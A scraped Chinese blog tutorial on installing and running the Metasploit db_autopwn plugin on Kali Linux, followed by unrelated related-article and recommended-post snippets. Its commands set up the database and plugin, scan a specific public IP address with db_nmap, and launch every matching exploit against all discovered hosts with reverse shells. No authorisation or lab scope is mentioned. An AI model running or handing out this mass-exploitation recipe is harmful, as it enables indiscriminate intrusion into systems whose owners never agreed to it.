Metasploit自动攻击模块

Usage: db_autopwn [options]
-h Display this help text
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-r Use a reverse connect shell
-b Use a bind shell on a random port (default)
-q Disable exploit module output
-R [rank] Only run modules with a minimal rank
-I [range] Only exploit hosts inside this range
-X [range] Always exclude hosts inside this range
-PI [range] Only exploit hosts with these ports open
-PX [range] Always exclude hosts with these ports open
-m [regex] Only run modules whose name matches the regex
-T [secs] Maximum runtime for any exploit in seconds wget https://raw.githubusercontent.com/hahwul/metasploit-db_autopwn/master/db_autopwn.rb
mv db_autopwn.rb /usr/share/metasploit-framework/plugins/
ls -alh /usr/share/metasploit-framework/plugins/ db_status
db_disconnect
db_status
db_connect msf3:msf3@127.0.0.1/msf3
db_status workspace
workspace -a test1
workspace
workspace test1 db_nmap -sV -O -v -T 202.193.58.13
hosts
services load db_autopwn
help db_autopwn
db_autopwn -e -t -r -p

环境:kali-linux-2017.3-vm-amd64

一、安装postgresql数据库

apt-get install postgresql

apt-get install rubygems libpq-dev

apt-get install libreadline-dev

apt-get install libssl-dev

apt-get install libpq5

apt-get install ruby-dev

apt-get install libpq-dev

直接全部copy到kali中执行即可

二、自动配置数据库

service postgres start           启动服务

msfdb init                           自动创建数据库、用户、密码

三、手动配置数据库

passwd postgres 修改postgresql数据库密码

su postgres    进入数据库

createuser hello –P       创建用户hello,并设置密码

createdb --owner=hello db_hello      给用户hello创建一个数据库db_hello

psql db_hello        进入db_hello数据库

四、安装db_autopwn.rb模块

cd /usr/share/metasploit-framework/plugins   定位到msf插件目录

git clone https://github.com/hahwul/metasploit-db_autopwn.git  安装db_autopwn

cd metasploit-db_autopwn

mv db_autopwn.rb /usr/share/metasploit-framework/plugins

打开msfconsole,查看db_autopwn是否安装成功,执行如下命令:

load db_autopwn         出现下图结果说明安装成功

五、借助db_autopwn进行自动加载模块进行攻击

msfconsole

use auxiliary/scanner/portscan/tcp     调用tcp扫描模块

set rhosts 192.168.1.28

set threads 10

exploit

自动加载模块

db_autopwn –t –p –r –e

Metasploit自动攻击模块的更多相关文章

  1. 【研究】Metasploit自动攻击模块

    环境:kali-linux-2017.3-vm-amd64 一.安装postgresql数据库 apt-get install postgresql apt-get install rubygems ...

  2. Metasploit自动攻击和选择模块攻击详解

    Author:魔术@Freebuf.com 0×1自动攻击 终端启动Metasploit,因为我现在Source Code,所以这样启动! 连接数据库 安装方法,执行以下命令即可(请用ROOT执行). ...

  3. [转]初探Metasploit的自动攻击

    1. 科普Metasploit   以前只是个Back Track操作系统(简称:BT) 下的攻击框架,自成继承了后攻击渗透模块,隐隐有成为攻击平台的趋势. 我们都戏称它为美少妇,很简单,msf. 它 ...

  4. MetaSploit攻击实例讲解------Metasploit自动化攻击(包括kali linux 2016.2(rolling) 和 BT5)

    不多说,直接上干货! 前期博客 Kali linux 2016.2(Rolling)里Metasploit连接(包括默认和自定义)的PostgreSQL数据库 Kali linux 2016.2(Ro ...

  5. Metasploit的攻击实例讲解----ms10_046快捷方式图标漏洞

    不多说,直接上干货! 准备工具 1.Kali linux 2016.2(Rolling)系统  IP:  192.168.1.103 2.受害者机子(windows XP系统)   IP: 10.10 ...

  6. AFP溢出攻击模块afp/loginext

    AFP溢出攻击模块afp/loginext   在苹果Mac OS X 10.3.3及以前版本,AFP服务存在缓存区溢出漏洞CVE-2004-0430.利用该漏洞,用户可以基于LoginExt包执行任 ...

  7. Winform开发框架之通用自动更新模块(转)

    在网络化的环境中,特别是基于互联网发布的Winform程序,程序的自动更新功能是比较重要的操作,这样可以避免挨个给使用者打电话.发信息通知或者发送软件等,要求其对应用程序进行升级.实现程序的自动更新, ...

  8. node.js零基础详细教程(7.5):mongo可视化工具webstorm插件、nodejs自动重启模块Node Supervisor(修改nodejs后不用再手动命令行启动服务了)

    第七章 建议学习时间4小时  课程共10章 学习方式:详细阅读,并手动实现相关代码 学习目标:此教程将教会大家 安装Node.搭建服务器.express.mysql.mongodb.编写后台业务逻辑. ...

  9. 可以用py库: pyautogui (自动测试模块,模拟鼠标、键盘动作)来代替pyuserinput

    PyAutoGUI 是一个人性化的跨平台 GUI 自动测试模块 pyUserInput模块安装前需要安装pywin32和pyHook模块.(想要装的看https://www.cnblogs.com/m ...

随机推荐

  1. AMBS

    AMBS-PMT-TOT-AMT-DUE   -包括往期没还清的 AMBS-PMT-CURR-DUE是单单这一期新欠的 AMBS common used fields: AMBS-BILLING-CY ...

  2. 网络基础-IP地址

  3. Linux–Nginx攻略

    什么是Nginx Nginx (“engine x”) 是一个高性能的HTTP和反向代理服务器,也是一个IMAP/POP3/SMTP服务器.Nginx是由Igor Sysoev为俄罗斯访问量第二的Ra ...

  4. BZOJ3129/洛谷P3301方程(SDOI2013)容斥原理+扩展Lucas定理

    题意:给定方程x1+x2+....xn=m,每个x是正整数.但是对前n1个数做了限制x1<=a1,x2<=a2...xn1<=an1,同时对第n1+1到n1+n2个数也做了限制xn1 ...

  5. JVM的内存区域划分(jdk7和jdk8)

    参考: https://blog.csdn.net/l1394049664/article/details/81486470?tdsourcetag=s_pctim_aiomsg https://bl ...

  6. 解决Debug JDK source 无法查看局部变量的问题方案

    一.问题阐述首先我们要明白JDK source为什么在debug的时候无法观察局部变量,因为在jdk中,sun对rt.jar中的类编译时,去除了调试信息,这样在eclipse中就不能看到局部变量的值. ...

  7. LightOJ 1079 Just another Robbery (01背包)

    题目链接 题意:Harry Potter要去抢银行(wtf???),有n个银行,对于每个银行,抢的话,能抢到Mi单位的钱,并有pi的概率被抓到.在各个银行被抓到是独立事件.总的被抓到的概率不能超过P. ...

  8. Java泛型与集合笔记

    第一章 Java的泛型为了兼容性和防止代码爆炸,在编译成字节碼时会进行类型擦除,编译器自动添加代码做类型转换(用到List<Integer>的地方用Integer来做转换),自动做装箱拆箱 ...

  9. [CF959E]Mahmoud and Ehab and the xor-MST题解

    解法 又是一道结论题? 我的做法比较奇怪且没有证明 #include <cstdio> #include <cmath> #define ll long long int ma ...

  10. 20180711-Java Number类

    下面是一个装箱与拆箱的例子: public class Test{ public static void main(String args[]){ Integer x = 5; // boxes in ...